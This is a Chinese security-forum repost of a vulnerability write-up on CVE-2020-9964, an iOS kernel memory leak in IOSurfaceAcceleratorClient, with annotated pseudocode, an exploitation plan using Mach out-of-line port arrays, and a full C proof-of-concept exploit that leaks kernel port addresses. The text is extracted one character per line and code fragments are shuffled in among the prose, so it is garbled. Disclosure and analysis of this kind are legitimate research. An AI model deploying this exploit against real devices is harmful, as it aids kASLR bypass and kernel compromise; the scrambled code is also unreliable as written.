论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
漏洞
[15973] 2020-10-16_CVE-2020-9964:iOS中的信息泄露漏洞分析
文档创建者:
s7ckTeam
浏览次数:
14
最后更新:
2025-01-18
漏洞
14 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2020-10-16_CVE-2020-9964:iOS中的信息泄露漏洞分析
C
V
E
-
2
0
2
0
-
9
9
6
4
:
i
O
S
中
的
信
息
泄
露
漏
洞
分
析
A
l
p
h
a
_
h
4
c
k
F
r
e
e
B
u
f
2
0
2
0
-
1
0
-
1
6
写
在
前
面
的
话
写
在
前
面
的
话
2
0
2
0
年
0
9
月
1
7
日
凌
晨
,
苹
果
终
于
给
所
有
用
户
推
送
了
i
O
S
1
4
正
式
版
,
并
同
时
发
布
了
i
O
S
1
4
.
0
的
安
全
内
容
更
新
。
阅
读
该
公
告
后
,
你
将
会
看
到
列
表
中
的
一
个
漏
洞
C
V
E
-
2
0
2
0
-
9
9
6
4
,
这
是
一
个
存
在
于
I
O
S
u
r
f
a
c
e
A
c
c
e
l
e
r
a
t
o
r
中
的
安
全
漏
洞
。
苹
果
将
这
个
漏
洞
描
述
为
:
“
本
地
用
户
将
能
够
利
用
该
漏
洞
读
取
内
核
内
存
数
据
,
这
是
一
个
内
存
初
始
化
问
题
。
”
那
么
在
这
篇
文
章
中
,
我
们
将
跟
大
家
介
绍
有
关
该
漏
洞
的
详
细
信
息
。
I
O
S
u
r
f
a
c
e
A
c
c
e
l
e
r
a
t
o
r
C
l
i
e
n
t
:
:
u
s
e
r
_
g
e
t
_
h
i
s
t
o
g
r
a
m
I
O
S
u
r
f
a
c
e
A
c
c
e
l
e
r
a
t
o
r
C
l
i
e
n
t
不
仅
是
A
p
p
l
e
M
2
S
c
a
l
e
r
C
S
C
D
r
i
v
e
r
I
O
S
e
r
v
i
c
e
的
用
户
客
户
端
接
口
,
也
是
为
数
不
多
的
能
够
在
A
p
p
沙
盒
中
打
开
的
用
户
客
户
端
。
在
这
里
,
我
们
感
兴
趣
的
其
实
是
这
个
用
户
客
户
端
中
的
一
个
特
定
外
部
方
法
,
也
就
是
方
法
9
-
I
O
S
u
r
f
a
c
e
A
c
c
e
l
e
r
a
t
o
r
C
l
i
e
n
t
:
:
u
s
e
r
_
g
e
t
_
h
i
s
t
o
g
r
a
m
。
I
O
S
u
r
f
a
c
e
A
c
c
e
l
e
r
a
t
o
r
C
l
i
e
n
t
在
这
个
外
部
方
法
中
使
用
了
遗
留
的
I
O
U
s
e
r
C
l
i
e
n
t
:
:
g
e
t
T
a
r
g
e
t
A
n
d
M
e
t
h
o
d
F
o
r
I
n
d
e
x
,
方
法
9
的
I
O
E
x
t
e
r
n
a
l
M
e
t
h
o
d
描
述
符
如
下
所
示
:
在
这
里
,
我
们
可
以
看
到
u
s
e
r
_
g
e
t
_
h
i
s
t
o
g
r
a
m
只
会
接
收
输
入
数
据
的
八
个
字
节
,
并
且
不
会
返
回
任
何
的
输
出
数
据
,
接
下
来
我
们
一
起
来
看
一
看
这
个
方
法
的
实
现
代
码
,
下
面
给
出
的
是
带
注
释
的
伪
代
码
:
{
I
O
S
u
r
f
a
c
e
A
c
c
e
l
e
r
a
t
o
r
C
l
i
e
n
t
:
:
u
s
e
r
_
g
e
t
_
h
i
s
t
o
g
r
a
m
,
k
I
O
U
C
S
t
r
u
c
t
I
S
t
r
u
c
t
O
,
0
x
8
,
0
x
0
}
I
O
R
e
t
u
r
n
I
O
S
u
r
f
a
c
e
A
c
c
e
l
e
r
a
t
o
r
C
l
i
e
n
t
:
:
u
s
e
r
_
g
e
t
_
h
i
s
t
o
g
r
a
m
(
I
O
S
u
r
f
a
c
e
A
c
c
e
l
e
r
a
t
o
r
C
l
i
e
n
t
*
t
h
i
s
,
v
o
i
d
*
i
n
p
u
t
,
u
i
n
t
6
4
_
t
i
n
p
u
t
S
i
z
e
)
{
I
O
R
e
t
u
r
n
r
e
s
u
l
t
;
i
f
(
t
h
i
s
-
>
c
a
l
l
e
d
F
r
o
m
K
e
r
n
e
l
)
{
.
.
.
}
e
l
s
e
{
I
O
M
e
m
o
r
y
D
e
s
c
r
i
p
t
o
r
*
m
e
m
D
e
s
c
=
I
O
M
e
m
o
r
y
D
e
s
c
r
i
p
t
o
r
:
:
w
i
t
h
A
d
d
r
e
s
s
R
a
n
g
e
(
*
(
m
a
c
h
_
v
m
_
a
d
d
r
e
s
s
_
t
*
)
i
n
p
u
t
,
t
h
i
s
-
>
h
i
s
t
o
g
r
a
m
S
i
z
e
,
k
I
O
D
i
r
e
c
t
i
o
n
O
u
t
I
n
,
t
h
i
s
-
>
t
a
s
k
)
;
i
f
(
m
e
m
D
e
s
c
)
{
r
e
t
=
m
e
m
D
e
s
c
-
>
p
r
e
p
a
r
e
(
k
I
O
D
i
r
e
c
t
i
o
n
N
o
n
e
)
;
i
f
(
r
e
t
)
{
.
.
.
}
我
们
可
以
看
到
其
中
包
含
的
八
个
字
节
的
结
构
化
输
入
数
据
,
它
将
会
被
设
置
为
一
个
用
户
空
间
指
针
,
A
p
p
l
e
M
2
S
c
a
l
e
r
C
S
C
D
r
i
v
e
r
:
:
g
e
t
_
h
i
s
t
o
g
r
a
m
将
能
够
利
用
该
指
针
实
现
数
据
的
写
入
或
读
取
。
实
际
上
,
g
e
t
_
h
i
s
t
o
g
r
a
m
调
用
g
e
t
_
h
i
s
t
o
g
r
a
m
_
g
a
t
e
d
的
过
程
如
下
所
示
:
我
们
可
以
看
到
,
c
l
i
e
n
t
-
>
h
i
s
t
o
g
r
a
m
B
u
f
f
e
r
被
写
回
至
了
用
户
空
间
,
那
么
现
在
问
题
来
了
,
c
l
i
e
n
t
-
>
h
i
s
t
o
g
r
a
m
B
u
f
f
e
r
是
什
么
鬼
?
它
是
在
哪
里
被
初
始
化
的
?
其
中
的
数
据
又
是
从
哪
里
来
的
?
I
O
S
u
r
f
a
c
e
A
c
c
e
l
e
r
a
t
o
r
C
l
i
e
n
t
:
:
h
i
s
t
o
g
r
a
m
B
u
f
f
e
r
上
述
问
题
的
答
案
我
们
得
在
I
O
S
u
r
f
a
c
e
A
c
c
e
l
e
r
a
t
o
r
C
l
i
e
n
t
:
:
i
n
i
t
C
l
i
e
n
t
的
身
上
去
寻
找
,
相
关
代
码
如
下
:
e
l
s
e
{
r
e
t
=
A
p
p
l
e
M
2
S
c
a
l
e
r
C
S
C
D
r
i
v
e
r
:
:
g
e
t
_
h
i
s
t
o
g
r
a
m
(
t
h
i
s
-
>
f
O
w
n
e
r
,
t
h
i
s
,
m
e
m
D
e
s
c
)
;
m
e
m
D
e
s
c
-
>
c
o
m
p
l
e
t
e
(
k
I
O
D
i
r
e
c
t
i
o
n
N
o
n
e
)
;
}
m
e
m
D
e
s
c
-
>
r
e
l
e
a
s
e
(
)
;
}
e
l
s
e
{
r
e
t
=
k
I
O
R
e
t
u
r
n
N
o
M
e
m
o
r
y
;
}
}
r
e
t
u
r
n
r
e
t
;
}
I
O
R
e
t
u
r
n
A
p
p
l
e
M
2
S
c
a
l
e
r
C
S
C
D
r
i
v
e
r
:
:
g
e
t
_
h
i
s
t
o
g
r
a
m
_
g
a
t
e
d
(
A
p
p
l
e
M
2
S
c
a
l
e
r
C
S
C
D
r
i
v
e
r
*
t
h
i
s
,
I
O
S
u
r
f
a
c
e
A
c
c
e
l
e
r
a
t
o
r
C
l
i
e
n
t
*
c
l
i
e
n
t
,
I
O
M
e
m
o
r
y
D
e
s
c
r
i
p
t
o
r
*
m
e
m
D
e
s
c
)
{
I
O
R
e
t
u
r
n
r
e
s
u
l
t
;
i
f
(
m
e
m
D
e
s
c
-
>
w
r
i
t
e
B
y
t
e
s
(
0
,
c
l
i
e
n
t
-
>
h
i
s
t
o
g
r
a
m
B
u
f
f
e
r
,
c
l
i
e
n
t
-
>
h
i
s
t
o
g
r
a
m
S
i
z
e
)
=
=
c
l
i
e
n
t
-
>
h
i
s
t
o
g
r
a
m
S
i
z
e
)
r
e
s
u
l
t
=
k
I
O
R
e
t
u
r
n
S
u
c
c
e
s
s
;
e
l
s
e
r
e
s
u
l
t
=
k
I
O
R
e
t
u
r
n
I
O
E
r
r
o
r
;
r
e
t
u
r
n
r
e
s
u
l
t
;
}
b
o
o
l
I
O
S
u
r
f
a
c
e
A
c
c
e
l
e
r
a
t
o
r
C
l
i
e
n
t
:
:
i
n
i
t
C
l
i
e
n
t
(
I
O
S
u
r
f
a
c
e
A
c
c
e
l
e
r
a
t
o
r
C
l
i
e
n
t
*
t
h
i
s
,
A
p
p
l
e
M
2
S
c
a
l
e
r
C
S
C
D
r
i
v
e
r
*
o
w
n
e
r
,
i
n
t
t
y
p
e
,
A
p
p
l
e
M
2
S
c
a
l
e
r
C
S
C
H
a
l
*
h
a
l
)
{
.
.
.
i
f
(
.
.
.
)
{
.
.
.
i
f
(
.
.
.
)
{
s
i
z
e
_
t
b
u
f
f
e
r
S
i
z
e
=
.
.
.
;
t
h
i
s
-
>
h
i
s
t
o
g
r
a
m
S
i
z
e
=
b
u
f
f
e
r
S
i
z
e
;
t
h
i
s
-
>
h
i
s
t
o
g
r
a
m
B
u
f
f
e
r
=
(
v
o
i
d
*
)
I
O
M
a
l
l
o
c
(
b
u
f
f
e
r
S
i
z
e
)
;
I
O
A
s
y
n
c
h
r
o
n
o
u
s
S
c
h
e
d
u
l
e
r
*
s
c
h
e
d
u
l
e
r
=
I
O
A
s
y
n
c
h
r
o
n
o
u
s
S
c
h
e
d
u
l
e
r
:
:
i
o
A
s
y
n
c
h
r
o
n
o
u
s
S
c
h
e
d
u
l
e
r
(
0
)
;
t
h
i
s
-
>
s
c
h
e
d
u
l
e
r
=
s
c
h
e
d
u
l
e
r
;
i
f
(
s
c
h
e
d
u
l
e
r
)
这
里
有
一
个
很
可
疑
的
地
方
,
代
码
为
h
i
s
t
o
g
r
a
m
B
u
f
f
e
r
分
配
了
空
间
,
但
并
未
填
充
数
据
,
而
I
O
M
a
l
l
o
c
也
没
有
给
内
存
填
充
0
,
因
此
这
里
的
h
i
s
t
o
g
r
a
m
B
u
f
f
e
r
相
当
于
完
全
没
有
初
始
化
的
。
于
是
我
尝
试
自
己
去
调
用
这
个
方
法
,
结
果
我
查
看
到
了
大
量
的
0
x
d
e
a
d
b
e
e
f
,
说
明
这
是
一
段
未
初
始
化
的
内
存
。
漏
洞
利
用
这
就
非
常
棒
了
,
因
为
我
们
可
以
将
未
初
始
化
的
内
存
泄
露
至
用
户
空
间
,
但
我
们
应
该
怎
么
做
呢
?
实
际
上
,
像
这
样
的
信
息
泄
露
问
题
本
身
相
对
还
算
是
不
严
重
的
,
但
对
于
利
用
其
他
的
内
存
崩
溃
漏
洞
时
它
就
至
关
重
要
了
。
通
常
在
利
用
这
类
漏
洞
时
,
首
先
需
要
找
到
匹
配
的
端
口
地
址
,
这
也
是
我
首
要
的
目
标
。
值
得
一
提
的
是
,
这
个
漏
洞
也
可
以
用
来
攻
击
k
A
S
L
R
。
在
利
用
该
漏
洞
时
,
我
选
择
的
目
标
分
配
地
址
时
M
a
c
h
消
息
o
u
t
-
o
f
-
l
i
n
e
端
口
数
组
。
在
发
送
M
a
c
h
消
息
是
,
我
们
可
以
将
消
息
标
记
为
“
c
o
m
p
l
e
x
”
。
这
将
告
诉
内
核
下
列
H
e
a
d
e
r
并
非
元
数
据
,
而
是
描
述
符
后
接
消
息
主
体
“
b
o
d
y
”
。
其
中
一
个
描
述
符
为
m
a
c
h
_
m
s
g
_
o
o
l
_
p
o
r
t
s
_
d
e
s
c
r
i
p
t
o
r
_
t
,
它
就
是
其
中
一
个
需
要
插
入
到
接
收
任
务
中
的
o
u
t
-
o
f
-
l
i
n
e
端
口
数
组
。
内
存
在
接
收
上
述
信
息
时
,
内
核
可
以
通
过
创
建
一
个
包
含
指
针
(
指
向
数
组
中
每
一
个
端
口
)
的
缓
冲
区
来
处
理
这
些
O
O
L
端
口
(
如
果
你
感
兴
趣
的
话
,
可
以
查
看
i
p
c
_
k
m
s
g
_
c
o
p
y
i
n
_
o
o
l
_
p
o
r
t
s
_
d
e
s
c
r
i
p
t
o
r
中
的
代
码
,
我
们
在
此
不
对
其
进
行
赘
述
)
。
这
样
一
来
,
我
们
就
可
以
使
用
它
来
触
发
任
何
大
小
的
内
核
分
配
,
其
中
将
包
含
我
们
所
要
读
取
或
提
取
的
数
据
,
并
在
任
何
时
候
进
行
随
意
释
放
。
高
级
漏
洞
利
用
流
使
用
O
O
L
端
口
数
组
发
送
跟
c
l
i
e
n
t
-
>
h
i
s
t
o
g
r
a
m
S
i
z
e
大
小
相
同
的
消
息
内
容
;
通
过
接
收
消
息
来
释
放
这
些
数
组
;
打
开
一
个
I
O
S
u
r
f
a
c
e
A
c
c
e
l
e
r
a
t
o
r
C
l
i
e
n
t
连
接
,
分
配
h
i
s
t
o
g
r
a
m
B
u
f
f
e
r
,
该
部
分
现
在
将
会
被
其
中
部
分
被
释
放
的
端
口
数
组
所
覆
盖
;
调
用
外
部
方
法
9
,
读
取
指
向
用
户
空
间
的
端
口
指
针
;
搞
定
!
漏
洞
利
用
代
码
漏
洞
利
用
代
码
针
对
该
漏
洞
的
漏
洞
利
用
代
码
如
下
:
r
e
t
u
r
n
t
r
u
e
;
.
.
.
}
e
l
s
e
{
.
.
.
}
}
e
l
s
e
{
.
.
.
}
t
h
i
s
-
>
s
t
o
p
C
l
i
e
n
t
(
)
;
r
e
t
u
r
n
f
a
l
s
e
;
}
#
i
n
c
l
u
d
e
<
s
t
d
l
i
b
.
h
>
#
i
n
c
l
u
d
e
<
a
s
s
e
r
t
.
h
>
#
i
n
c
l
u
d
e
<
s
t
d
i
o
.
h
>
#
i
n
c
l
u
d
e
<
m
a
c
h
/
m
a
c
h
.
h
>
#
i
n
c
l
u
d
e
<
I
O
K
i
t
/
I
O
K
i
t
L
i
b
.
h
>
#
i
f
0
A
p
p
l
e
M
2
S
c
a
l
e
r
C
S
C
D
r
i
v
e
r
I
n
f
o
l
e
a
k
:
I
O
S
u
r
f
a
c
e
A
c
c
e
l
e
r
a
t
o
r
C
l
i
e
n
t
:
:
u
s
e
r
_
g
e
t
_
h
i
s
t
o
g
r
a
m
t
a
k
e
s
a
u
s
e
r
s
p
a
c
e
p
o
i
n
t
e
r
a
n
d
w
r
i
t
e
s
h
i
s
t
o
g
r
a
m
d
a
t
a
b
a
c
k
t
o
t
h
a
t
a
d
d
r
e
s
s
.
I
O
S
u
r
f
a
c
e
A
c
c
e
l
e
r
a
t
o
r
C
l
i
e
n
t
:
:
i
n
i
t
C
l
i
e
n
t
a
l
l
o
c
a
t
e
s
t
h
i
s
h
i
s
t
o
g
r
a
m
b
u
f
f
e
r
,
b
u
t
d
o
e
s
n
o
t
z
e
r
o
t
h
e
m
e
m
o
r
y
.
W
h
e
n
t
h
e
e
x
t
e
r
n
a
l
m
e
t
h
o
d
I
O
S
u
r
f
a
c
e
A
c
c
e
l
e
r
a
t
o
r
C
l
i
e
n
t
:
:
u
s
e
r
_
g
e
t
_
h
i
s
t
o
g
r
a
m
i
s
c
a
l
l
e
d
,
t
h
i
s
u
n
i
n
i
t
i
a
l
i
s
e
d
m
e
m
o
r
y
i
s
t
h
e
n
s
e
n
t
b
a
c
k
t
o
u
s
e
r
s
p
a
c
e
.
T
h
i
s
v
u
l
n
e
r
a
b
i
l
i
t
y
i
s
r
e
a
c
h
a
b
l
e
f
r
o
m
w
i
t
h
i
n
t
h
e
a
p
p
s
a
n
d
b
o
x
o
n
i
O
S
.
B
e
l
o
w
i
s
a
p
r
o
o
f
-
o
f
-
c
o
n
c
e
p
t
e
x
p
l
o
i
t
w
h
i
c
h
u
t
i
l
i
s
e
s
t
h
i
s
v
u
l
n
e
r
a
b
i
l
i
t
y
t
o
l
e
a
k
t
h
e
a
d
d
r
e
s
s
o
f
a
n
y
m
a
c
h
p
o
r
t
t
h
a
t
t
h
e
c
a
l
l
i
n
g
p
r
o
c
e
s
s
h
o
l
d
s
a
s
e
n
d
-
r
i
g
h
t
t
o
.
O
t
h
e
r
k
e
r
n
e
l
o
b
j
e
c
t
a
d
d
r
e
s
s
e
s
c
a
n
b
e
o
b
t
a
i
n
e
d
u
s
i
n
g
t
h
i
s
v
u
l
n
e
r
a
b
i
l
i
t
y
i
n
s
i
m
i
l
a
r
w
a
y
s
.
#
e
n
d
i
f
#
d
e
f
i
n
e
A
S
S
E
R
T
_
K
R
(
k
r
)
d
o
{
i
f
(
k
r
!
=
K
E
R
N
_
S
U
C
C
E
S
S
)
{
f
p
r
i
n
t
f
(
s
t
d
e
r
r
,
"
k
r
:
%
s
(
0
x
%
x
)
n
"
,
m
a
c
h
_
e
r
r
o
r
_
s
t
r
i
n
g
(
k
r
)
,
k
r
)
;
e
x
i
t
(
E
X
I
T
_
F
A
I
L
U
R
E
)
;
}
}
w
h
i
l
e
(
0
)
#
d
e
f
i
n
e
L
E
A
K
_
S
I
Z
E
0
x
3
0
0
#
d
e
f
i
n
e
S
P
R
A
Y
_
C
O
U
N
T
0
x
8
0
m
a
c
h
_
p
o
r
t
_
t
c
r
e
a
t
e
_
p
o
r
t
(
v
o
i
d
)
{
m
a
c
h
_
p
o
r
t
_
t
p
=
M
A
C
H
_
P
O
R
T
_
N
U
L
L
;
m
a
c
h
_
p
o
r
t
_
a
l
l
o
c
a
t
e
(
m
a
c
h
_
t
a
s
k
_
s
e
l
f
(
)
,
M
A
C
H
_
P
O
R
T
_
R
I
G
H
T
_
R
E
C
E
I
V
E
,
&
p
)
;
m
a
c
h
_
p
o
r
t
_
i
n
s
e
r
t
_
r
i
g
h
t
(
m
a
c
h
_
t
a
s
k
_
s
e
l
f
(
)
,
p
,
p
,
M
A
C
H
_
M
S
G
_
T
Y
P
E
_
M
A
K
E
_
S
E
N
D
)
;
r
e
t
u
r
n
p
;
}
i
o
_
c
o
n
n
e
c
t
_
t
o
p
e
n
_
c
l
i
e
n
t
(
c
o
n
s
t
c
h
a
r
*
s
e
r
v
i
c
e
N
a
m
e
,
u
i
n
t
3
2
_
t
t
y
p
e
)
{
i
o
_
c
o
n
n
e
c
t
_
t
c
l
i
e
n
t
=
M
A
C
H
_
P
O
R
T
_
N
U
L
L
;
i
o
_
s
e
r
v
i
c
e
_
t
s
e
r
v
i
c
e
=
I
O
S
e
r
v
i
c
e
G
e
t
M
a
t
c
h
i
n
g
S
e
r
v
i
c
e
(
k
I
O
M
a
s
t
e
r
P
o
r
t
D
e
f
a
u
l
t
,
I
O
S
e
r
v
i
c
e
M
a
t
c
h
i
n
g
(
s
e
r
v
i
c
e
N
a
m
e
)
)
;
a
s
s
e
r
t
(
s
e
r
v
i
c
e
!
=
M
A
C
H
_
P
O
R
T
_
N
U
L
L
)
;
I
O
S
e
r
v
i
c
e
O
p
e
n
(
s
e
r
v
i
c
e
,
m
a
c
h
_
t
a
s
k
_
s
e
l
f
(
)
,
0
,
&
c
l
i
e
n
t
)
;
a
s
s
e
r
t
(
c
l
i
e
n
t
!
=
M
A
C
H
_
P
O
R
T
_
N
U
L
L
)
;
I
O
O
b
j
e
c
t
R
e
l
e
a
s
e
(
s
e
r
v
i
c
e
)
;
r
e
t
u
r
n
c
l
i
e
n
t
;
}
v
o
i
d
p
u
s
h
_
t
o
_
f
r
e
e
l
i
s
t
(
m
a
c
h
_
p
o
r
t
_
t
p
o
r
t
)
{
u
i
n
t
3
2
_
t
p
o
r
t
C
o
u
n
t
=
L
E
A
K
_
S
I
Z
E
/
s
i
z
e
o
f
(
v
o
i
d
*
)
;
s
t
r
u
c
t
{
m
a
c
h
_
m
s
g
_
h
e
a
d
e
r
_
t
h
e
a
d
e
r
;
m
a
c
h
_
m
s
g
_
b
o
d
y
_
t
b
o
d
y
;
m
a
c
h
_
m
s
g
_
o
o
l
_
p
o
r
t
s
_
d
e
s
c
r
i
p
t
o
r
_
t
o
o
l
_
p
o
r
t
s
;
}
m
s
g
=
{
{
0
}
}
;
m
a
c
h
_
p
o
r
t
_
t
*
p
o
r
t
s
=
(
m
a
c
h
_
p
o
r
t
_
t
*
)
m
a
l
l
o
c
(
p
o
r
t
C
o
u
n
t
*
s
i
z
e
o
f
(
m
a
c
h
_
p
o
r
t
_
t
)
)
;
f
o
r
(
u
i
n
t
3
2
_
t
i
=
0
;
i
<
p
o
r
t
C
o
u
n
t
;
i
+
+
)
p
o
r
t
s
[
i
]
=
p
o
r
t
;
s
i
z
e
_
t
m
s
g
S
i
z
e
=
s
i
z
e
o
f
(
m
s
g
)
;
m
s
g
.
h
e
a
d
e
r
.
m
s
g
h
_
b
i
t
s
=
M
A
C
H
_
M
S
G
H
_
B
I
T
S
_
S
E
T
(
M
A
C
H
_
M
S
G
_
T
Y
P
E
_
M
A
K
E
_
S
E
N
D
,
0
,
0
,
M
A
C
H
_
M
S
G
H
_
B
I
T
S
_
C
O
M
P
L
E
X
)
;
m
s
g
.
h
e
a
d
e
r
.
m
s
g
h
_
s
i
z
e
=
m
s
g
S
i
z
e
;
m
s
g
.
h
e
a
d
e
r
.
m
s
g
h
_
i
d
=
'
O
O
L
P
'
;
m
s
g
.
b
o
d
y
.
m
s
g
h
_
d
e
s
c
r
i
p
t
o
r
_
c
o
u
n
t
=
1
;
m
s
g
.
o
o
l
_
p
o
r
t
s
.
t
y
p
e
=
M
A
C
H
_
M
S
G
_
O
O
L
_
P
O
R
T
S
_
D
E
S
C
R
I
P
T
O
R
;
m
s
g
.
o
o
l
_
p
o
r
t
s
.
a
d
d
r
e
s
s
=
(
v
o
i
d
*
)
p
o
r
t
s
;
m
s
g
.
o
o
l
_
p
o
r
t
s
.
c
o
u
n
t
=
p
o
r
t
C
o
u
n
t
;
m
s
g
.
o
o
l
_
p
o
r
t
s
.
d
e
a
l
l
o
c
a
t
e
=
f
a
l
s
e
;
m
s
g
.
o
o
l
_
p
o
r
t
s
.
c
o
p
y
=
M
A
C
H
_
M
S
G
_
P
H
Y
S
I
C
A
L
_
C
O
P
Y
;
m
s
g
.
o
o
l
_
p
o
r
t
s
.
d
i
s
p
o
s
i
t
i
o
n
=
M
A
C
H
_
M
S
G
_
T
Y
P
E
_
M
A
K
E
_
S
E
N
D
;
m
a
c
h
_
p
o
r
t
_
t
r
c
v
P
o
r
t
s
[
S
P
R
A
Y
_
C
O
U
N
T
]
;
f
o
r
(
u
i
n
t
3
2
_
t
i
=
0
;
i
<
S
P
R
A
Y
_
C
O
U
N
T
;
i
+
+
)
{
m
a
c
h
_
p
o
r
t
_
t
r
c
v
P
o
r
t
=
c
r
e
a
t
e
_
p
o
r
t
(
)
;
r
c
v
P
o
r
t
s
[
i
]
=
r
c
v
P
o
r
t
;
m
s
g
.
h
e
a
d
e
r
.
m
s
g
h
_
r
e
m
o
t
e
_
p
o
r
t
=
r
c
v
P
o
r
t
;
/
/
t
r
i
g
g
e
r
k
e
r
n
e
l
a
l
l
o
c
a
t
i
o
n
o
f
p
o
r
t
a
r
r
a
y
:
k
e
r
n
_
r
e
t
u
r
n
_
t
k
r
=
m
a
c
h
_
m
s
g
(
&
m
s
g
.
h
e
a
d
e
r
,
M
A
C
H
_
S
E
N
D
_
M
S
G
|
M
A
C
H
_
M
S
G
_
O
P
T
I
O
N
_
N
O
N
E
,
(
m
a
c
h
_
m
s
g
_
s
i
z
e
_
t
)
m
s
g
S
i
z
e
,
0
,
M
A
C
H
_
P
O
R
T
_
N
U
L
L
,
M
A
C
H
_
M
S
G
_
T
I
M
E
O
U
T
_
N
O
N
E
,
M
A
C
H
_
P
O
R
T
_
N
U
L
L
)
;
A
S
S
E
R
T
_
K
R
(
k
r
)
;
}
f
o
r
(
u
i
n
t
3
2
_
t
i
=
1
;
i
<
S
P
R
A
Y
_
C
O
U
N
T
;
i
+
+
)
m
a
c
h
_
p
o
r
t
_
d
e
s
t
r
o
y
(
m
a
c
h
_
t
a
s
k
_
s
e
l
f
(
)
,
r
c
v
P
o
r
t
s
[
i
]
)
;
f
r
e
e
(
(
v
o
i
d
*
)
p
o
r
t
s
)
;
}
/
/
T
h
e
a
c
t
u
a
l
v
u
l
n
e
r
a
b
i
l
i
t
y
:
v
o
i
d
l
e
a
k
_
b
y
t
e
s
(
v
o
i
d
*
b
u
f
f
e
r
)
{
i
o
_
c
o
n
n
e
c
t
_
t
c
l
i
e
n
t
=
o
p
e
n
_
c
l
i
e
n
t
(
"
A
p
p
l
e
M
2
S
c
a
l
e
r
C
S
C
D
r
i
v
e
r
"
,
0
)
;
k
e
r
n
_
r
e
t
u
r
n
_
t
k
r
=
I
O
C
o
n
n
e
c
t
C
a
l
l
S
t
r
u
c
t
M
e
t
h
o
d
(
c
l
i
e
n
t
,
9
,
(
u
i
n
t
6
4
_
t
*
)
&
b
u
f
f
e
r
,
8
,
N
U
L
L
,
N
U
L
L
)
;
A
S
S
E
R
T
_
K
R
(
k
r
)
;
I
O
S
e
r
v
i
c
e
C
l
o
s
e
(
c
l
i
e
n
t
)
;
}
u
i
n
t
6
4
_
t
f
i
n
d
_
p
o
r
t
_
a
d
d
r
(
m
a
c
h
_
p
o
r
t
_
t
p
o
r
t
)
{
u
i
n
t
6
4
_
t
*
l
e
a
k
=
(
u
i
n
t
6
4
_
t
*
)
m
a
l
l
o
c
(
L
E
A
K
_
S
I
Z
E
)
;
我
的
这
份
漏
洞
利
用
代
码
成
功
率
已
经
接
近
1
0
0
%
了
,
如
果
漏
洞
利
用
不
成
功
的
话
,
请
重
新
运
行
代
码
进
行
尝
试
。
精
彩
推
荐
精
彩
推
荐
p
r
i
n
t
f
(
"
P
r
e
p
a
r
i
n
g
h
e
a
p
n
"
)
;
p
u
s
h
_
t
o
_
f
r
e
e
l
i
s
t
(
p
o
r
t
)
;
p
r
i
n
t
f
(
"
L
e
a
k
i
n
g
0
x
%
z
x
b
y
t
e
s
n
"
,
(
s
i
z
e
_
t
)
L
E
A
K
_
S
I
Z
E
)
;
l
e
a
k
_
b
y
t
e
s
(
l
e
a
k
)
;
u
i
n
t
6
4
_
t
a
d
d
r
=
l
e
a
k
[
1
]
;
f
r
e
e
(
l
e
a
k
)
;
r
e
t
u
r
n
a
d
d
r
;
}
i
n
t
m
a
i
n
(
i
n
t
a
r
g
c
,
c
h
a
r
*
a
r
g
v
[
]
,
c
h
a
r
*
e
n
v
p
[
]
)
{
m
a
c
h
_
p
o
r
t
_
t
p
o
r
t
=
c
r
e
a
t
e
_
p
o
r
t
(
)
;
u
i
n
t
6
4
_
t
p
o
r
t
_
a
d
d
r
=
f
i
n
d
_
p
o
r
t
_
a
d
d
r
(
p
o
r
t
)
;
p
r
i
n
t
f
(
"
L
e
a
k
e
d
p
o
r
t
a
d
d
r
e
s
s
:
%
p
n
"
,
(
v
o
i
d
*
)
p
o
r
t
_
a
d
d
r
)
;
r
e
t
u
r
n
0
;
}
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页